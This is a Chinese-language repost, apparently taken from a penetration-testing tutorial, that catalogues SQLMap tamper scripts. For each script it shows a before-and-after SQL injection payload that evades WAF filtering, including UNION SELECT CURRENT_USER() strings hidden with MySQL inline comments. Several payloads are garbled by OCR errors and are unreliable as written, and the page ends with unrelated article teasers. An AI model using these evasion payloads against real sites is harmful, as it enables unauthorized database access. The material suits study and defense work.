使用脚本后,语句为:

-1   UNION   SELECT

·securesphere.py

作用:追加特制的字符串。

使用脚本前的语句为:

1 AND 1=1

使用脚本后,语句为:

1 AND 1=1 and'Ohaving'='Ohaving  '

·space2hash.py

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps143.png&pos_id=60G10kyz

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps144.png&pos_id=lOCjcQgF

 

作用:将空格替换为#号,并添加一个随机字符串和换行符。 使用脚本前的语句为:

1  AND  9227=9227

使用脚本后,语句为:

1%23nVNaVoPYeva%OAAND%23ngNvzqu%0A9227=9227 ·space2mssqlblank.py(mssql)

作用:将空格替换为其他空符号。

使用脚本前的语句为:

SELECT   id   FROM   users

使用脚本后,语句为:

SELECT%OEid%0DFROM%07users

·space2mssqlhash.py

作用:将空格替换为#号,并添加一个换行符。

使用脚本前的语句为:

1  AND  9227=9227

使用脚本后,语句为:

1%23%0AAND%23%0A9227=9227

●  between.py

作用:用NOT BETWEEN O AND替换大于号(>),用BETWEEN AND替换 等号(=)。

使用脚本前的语句为:

1  AND  A>B-

使用脚本后,语句为:

1  AND  A  NOT  BETWEEN  O  AND  B-

使用脚本前的语句为:

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps145.png&pos_id=iBXQZOeS

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps146.png&pos_id=RLrefmh3

 

1 AND A=B-

使用脚本后,语句为:

1  AND  A  BETWEEN  B  AND  B-

·percentage.py

作用: ASP 允许在每个字符前面添加一个%号。

使用脚本前的语句为:

SELECT  FIELD  FROM  TABLE

使用脚本后,语句为:

%S%E%L%E%C%T%F%1%E%L%D%F%R%0%M%T%A%B%L%E

·sp_password.py

作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password。 使用脚本前的语句为:

1  AND  9227=9227-

使用脚本后,语句为:

1 AND 9227=9227 — —sp_password

·charencode.py

作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。 使用脚本前的语句为:

SELECT    FIELD    FROM%20TABLE

使用脚本后,语句为:

%53%45%4c%45%43%54%20%46%49%45%4c

%44%20%46%52%4f%4d%20%54%41%42%4c%45

●  randomcase.py

作用:随机大小写。

使用脚本前的语句为:

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps147.png&pos_id=P6eapTah

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps148.png&pos_id=GjDgNmbA

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps149.png&pos_id=XqvC1HZ2

 

INSERT

使用脚本后,语句为:

InsERt

·charunicodeencode.py

作用:字符串unicode 编 码。

使用脚本前的语句为:

SELECT FIELD%20FROM TABLE

使用脚本后,语句为:

%u0053%u0045%u004c

安      %u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps150.png&pos_id=MqdR1CUa

%u0044%u0020          %u0046%u0052%u004f%u004d

防   %u0020%u0054%u0041%u0042%u004c%u0045

·space2comment.py

作用:将空格替换为/**/。

使用脚本前的语句为:

SELECT id FROM users

使用脚本后,语句为:

SELECT/**/id/**/FROM/**/users

·equaltolike.py

作用:将等号替换为like。

使用脚本前的语句为:

SELECT*FROM users WHERE id=1

使用脚本后,语句为:

SELECT*FROM users WHERE id LIKE 1

·greatest.py

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps151.png&pos_id=PRh6chF7

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps152.png&pos_id=PMYJnnMF

 

 

 

 

 

作用:绕过对“>”的过滤,用GREATEST 替换大于号。

使用脚本前的语句为:

1  AND  A>B

使用脚本后,语句为:

1       AND       GREATEST(A,B+1)=A

测试通过的数据库类型和版本:

● MySQL 4、MySQL 5.0和MySQL 5.5 ·Oracle    10g

● PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0

●   ifnull2ifisnull.py

作用:绕过对IFNULL的过滤,替换类似IFNULL(A,B)      为IF(ISNULL

(A),B,A)。

使用脚本前的语句为:

IFNULL(1,2)

使用脚本后,语句为:

IF(ISNULL(1),2,1)

测试通过的数据库类型和版本为MySQL  5.0和MySQL  5.5。 ·modsecurityversioned.py

作用:过滤空格,使用MySQL 内联注释的方式进行注入。

使用脚本前的语句为:

1 AND 2>1-

使用脚本后,语句为:

1/*!30874AND    2>1*/-

测试通过的数据库类型和版本为MySQL 5.0。

·space2mysqlblank.py

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps153.png&pos_id=xgxyQupZ

 

作用:将空格替换为其他空白符号(适用于MySQL)。

使用脚本前的语句为:

SELECT   id   FROM   users

使用脚本后,语句为:

SELECT%AOid%OBFROM%0Cusers

测试通过的数据库类型和版本为MySQL 5.1。

·modsecurityzeroversioned.py

作用:使用MySQL内联注释的方式(!00000*/)进行注入。 使用脚本前的语句为:

1 AND 2>1-

使用脚本后,语句为:

1   /*!0000OAND   2>1*/-

测试通过的数据库类型和版本为MySQL  5.0。

·space2mysqldash.py

作用:将空格替换为—— ,并添加一个换行符。

使用脚本前的语句为:

1  AND  9227=9227

使用脚本后,语句为:

1     %0AAND——%0A9227=9227

·bluecoat.py

作用:在SQL 语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于 号。

使用脚本前的语句为:

SELECT   id   FROM   users   where   id=1

使用脚本后,语句为:

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps154.png&pos_id=xDO5mW7y

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps155.png&pos_id=LbWA5At9

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps156.png&pos_id=06cmFnbi

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps157.png&pos_id=E9IhhPV2

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps158.png&pos_id=OJr9f8GS

 

SELECT%09id  FROM%09users WHERE%09id  LIKE  1

测试通过的数据库类型和版本为MySQL  5.1和 SGOS。

·versionedkeywords.py

作用:注释绕过。

使用脚本前的语句为:

UNION       ALL       SELECT        NULL,NULL,CONCAT(CHAR(58,104,116,

116,58),IFNULL(CAST(CURRENT_USER()AS                              CHAR),CHAR(32))  , CH/**/AR(58,100,114,117,58))#

使用脚本后,语句为:

b

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps159.png&pos_id=Y1f52t3J

/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,CONCAT

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps160.png&pos_id=9WFSmCTU

(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*

AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

·halfversionedmorekeywords.py

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps161.png&pos_id=IoruBg35

作用:当数据库为MySQL 时绕过防火墙,在每个关键字之前添加MySQL版 本 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps162.jpg&pos_id=g12nfkAF

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps163.jpg&pos_id=4NuD4JSP

使用脚本前的语句为:

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps164.png&pos_id=HMLYxhTe

value'UNION       ALL       SELECT       CONCAT(CHAR(58,107,112,113,

58),IFNULL(CAST(CURRENT_USER()AS                                CHAR),CHAR(32)),CHAR

(58,97,110,121,58)),NULL,NULL#AND'QDWa'='QDWa

使用脚本后,语句为:

value'/*!OUNION/*!OALL/*!OSELECT/*!OCONCAT(/*!OCHAR

(58,107,112,113,58),/*!OIFN                              ULL(CAST(/*!OCURRENT_USER()/ *!OAS/*!OCHAR),/*!OCHAR(32)),/*!OCHAR(58,97,110,121,5

8)),/*!ONULL,/*!ONULL#/*!OAND'QDWa'='QDWa

测试通过的数据库类型和版本为MySQL  4.0.18和 MySQL  5.0.22。

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps165.png&pos_id=eepd50qk

 

·space2morehash.py

作用:将空格替换为#号,并添加一个随机字符串和换行符。 使用脚本前的语句为:

1  AND  9227=9227

使用脚本后,语句为:

1%23ngNvzqu%OAAND%23nVNaVoPYeva%0A%23   lujYFWfv %0A9227=9227

测试通过的数据库类型和版本为MySQL 5.1.41。

·apostrophenullencode.py

作用:用非法双字节unicode 字符替换单引号。

使用脚本前的语句为:

1  AND'1'='1

使用脚本后,语句为:

1     AND     %00%271%00%27=%00%271

·appendnullbyte.py

作用:在有效负荷的结束位置加载零字节字符编码。

使用脚本前的语句为:

1 AND  1=1

使用脚本后,语句为:

1  AND  1=1%00

·chardoubleencode.py

作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字 符)。

使用脚本前的语句为:

SELECT  FIELD  FROM%20TABLE

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps166.png&pos_id=ud5UDbpn

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml10572%5Cwps167.png&pos_id=lctSvF6f

 

使用脚本后,语句为:

%2553%2545%254c

%2545 %2543%2554%2520%2546%2549%2545%254c

%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c

%2545

·unmagicquotes.py

作用:用一个多字节组合(%bf%27) 和末尾通用注释一起替换空格。 使用脚本前的语句为:

1'AND  1=1

使用脚本后,语句为:

1%bf%27-

● randomcomments.py

作用:用/**/分割SQL关键字。

使用脚本前的语句为:

INSERT

使用脚本后,语句为:

IN/**/S/**/ERT

虽然SQLMap自带的tamper 可以做很多事情,但在实际环境中,往往比较复

杂,可能会遇到很多情况,tamper 不可能很全面地应对各种环境,所以建议读者在学  习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种 实战环境时才能更自如。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2804929.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【初中生讲机器学习】11. 回归算法中常用的模型评价指标有哪些?here!

创建时间:2024-02-19 最后编辑时间:2024-02-23 作者:Geeker_LStar 你好呀~这里是 Geeker_LStar 的人工智能学习专栏,很高兴遇见你~ 我是 Geeker_LStar,一名初三学生,热爱计算机和数学,我们一起加…

数据库管理-第154期 Oracle Vector DB AI-06(20240223)

数据库管理154期 2024-02-23 数据库管理-第154期 Oracle Vector DB & AI-06(20240223)1 环境准备创建表空间及用户TNSNAME配置 2 Oracle Vector的DML操作创建示例表插入基础数据DML操作UPDATE操作DELETE操作 3 多Vector列表4 固定维度的向量操作5 不…

二手货wordpress企业网站主题模板

二手车wordpress主题模板 简洁的二手车wordpress主题模板,适合做二手车业务的公司官方网站使用。 https://www.jianzhanpress.com/?p3473 wordpress二手物资回收主题 绿色wordpress二手物资回收主题,用于二手物资回收公司WP建站使用。 https://www.…

关于Kinect 互动沙盘 深度图 Shader Graph 分层

把Kinect的深度图穿给Shader Graph using com.rfilkov.kinect; using UnityEngine; using UnityEngine.UI; public class GetDepthTex : MonoBehaviour { public Material Mat_SandTable; void Update() { Mat_SandTable.SetTexture("_MainTex"…

第十二天-ppt的操作

目录 创建ppt文档 安装 使用 段落的使用 段落添加数据 段落中定义多个段落 自定义段落 ppt插入表表格 PPT插入图片 读取ppt 读取ppt整体对象 ​编辑 获取ppt文本 获取表格内容 创建ppt文档 安装 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python…

ES通用查询页面使用说明

前言:ES语法比较复杂,需要专门的学习,而且查询工具不太友好, 对公司运维人员使用有点困难,所以花了个时间做了一个页面,方便运维人员使用,如下。 也不难,有兴趣的朋友可以私聊发源码。 开发帮助-ES数据查询 搜索 输入要查看的文档索引,文档类型后点【查询】即可 搜…

使用logicflow流程图实例

一.背景 需要使用流程引擎开发项目,没有使用flowable、activiti这类的国外流程引擎,想使用国内的引擎二次开发,缺少单例模式的流程画图程序,都是vue、react、angluer的不适合,从网上找了antx6、logicflow、bpmn.js。感…

clip_as_service学习

参考:clip_as_service学习过程(一)——安装客户端与服务端_clip-as-service-CSDN博客 CLIP-as-service 0.8.3 documentation (jina.ai) pip3 install clip-client /usr/local/python3/bin/python3.7 -m pip install --upgrade pip pip3 install clip-server pyt…

给自己留个备忘,blender是右手坐标系

所谓右手坐标系,就是三个轴的方向和右手三根手指的方向一致(当然,有要求的,这个要求是大拇指指向x轴方向,食指指向y轴方向,中指指向z轴方向)。 不过blender默认是z轴朝上的,如下图。 右手坐标系…

Upload-Labs-Linux1【CTF】

拿到这道题目一看&#xff0c;发现是upload靶场&#xff1b;这不简简单单吗&#xff1b;结果中间还是遇到了一些小问题 小坑总结&#xff1a;该关只识别标准php语法&#xff1a;<?php phpinfo()?>格式&#xff1b;即<?php ?> 不识别<? phpinfo()?> &…

Javascript数字精度丢失的问题

一、问题 0.1 0.2 0.3 // false 二、浮点数 “浮点数”是一种表示数字的标准&#xff0c;整数也可以用浮点数的格式来存储 我们也可以理解成&#xff0c;浮点数就是小数 在JavaScript中&#xff0c;现在主流的数值类型是Number&#xff0c;而Number采用的是IEEE754规范中…

【论文精读】OS-Copilot: Towards Generalist Computer Agents with Self-Improvement

OS-Copilot: Towards Generalist Computer Agents with Self-Improvement 前言ABSTRACT1 INTRODUCTION2 THE OS-COPILOT FRAMEWORK2.1 PLANNER2.2 CONFIGURATOR2.2.1 DECLARATIVE MEMORY2.2.2 PROCEDURAL MEMORY2.2.3 WORKING MEMORY 2.3 ACTOR 3 THE FRIDAY AGENT3.1 A RUNNIN…

个人博客系统测试

文章目录 一、项目介绍二、测试1. 功能测试2. 自动化测试&#xff08;1&#xff09;添加相关依赖&#xff08;2&#xff09;新建包并在报下创建测试类&#xff08;3&#xff09;亮点及难点 一、项目介绍 个人博客系统采用前后端分离的方法来实现&#xff0c;同时使用了数据库来…

总结一下最近几个主界面

目前展示了用Avalonia做几个主要流行的主界面&#xff0c;演示了一下组件的使用。用不同的实现方式实现一些方法。 1、独立大屏展示&#xff0c;类似一个实时监控&#xff0c;这是一种目前很方便的大屏效果。 主要涉及的内内容&#xff1a; &#xff08;1&#xff09;窗标题实…

【LeetCode-337】打家劫舍III(动态规划)

目录 题目描述 解法1&#xff1a;动态规划 代码实现 题目链接 题目描述 在上次打劫完一条街道之后和一圈房屋后&#xff0c;小偷又发现了一个新的可行窃的地区。这个地区只有一个入口&#xff0c;我们称之为“根”。 除了“根”之外&#xff0c;每栋房子有且只有一个“父“…

mysql-MVCC

一、基础概念 1. MVCC的含义 MVCC (Multiversion Concurrency Control)&#xff0c;即多版本并发控制技术&#xff0c;它是通过读取某个时间点的快照数据&#xff0c; 来降低并发事务冲突而引起的锁等待&#xff0c; 从而提高并发性能的一种机制. MVCC 的实现,是通过保存数据…

自定义股票池策略周报告---收益1.8,回撤0.7,提供实盘设置

综合交易模型已经交易了1个月了目前收益10&#xff0c;回测0.8&#xff0c;策略追求稳稳的幸福&#xff0c;细水流长&#xff0c;回测年化20&#xff0c;最大回撤8 链接自定义股票池策略周报告---收益1.8&#xff0c;回撤0.7&#xff0c;提供实盘设置 (qq.com) 实盘稳定运行2…

密评技术要求实施详解:每一步都关键

密评简介 密评定义&#xff1a;全称商用密码应用安全性评估, 是对采用商用密码技术、产品和服务集成建设的网络和信息系统密码应用的合规性、正确性、有效性进行评估的活动。 评测依据&#xff1a;GB/T 39786-2021《信息安全技术 信息系统密码应用基本要求》。 密评对象&…

Linux命令之ls命令

ls命令 ls命令的作用是列出目录下的内容&#xff0c;语法如下&#xff1a; ls [ -a -l -h ] [ Linux路径 ] 1、 -a -l -h 是可选的选项。 2、Linux路径是此命令可选的参数。 当不使用选项和参数&#xff0c;直接使用 ls 命令本体&#xff0c;表示&#xff1a;以平…

C++笔记:二叉搜索树(Binary Search Tree)

文章目录 二叉搜索树的概念二叉搜索树操作1. 框架搭建2. 遍历3. 查找迭代实现递归实现 4. 插入迭代实现递归实现 5. 删除迭代实现递归实现 6. 析构与销毁7. 拷贝构造与赋值重载 二叉搜索树的应用二叉搜索树的性能分析二叉搜索树模拟实现源码 二叉搜索树的概念 二叉搜索树又称二…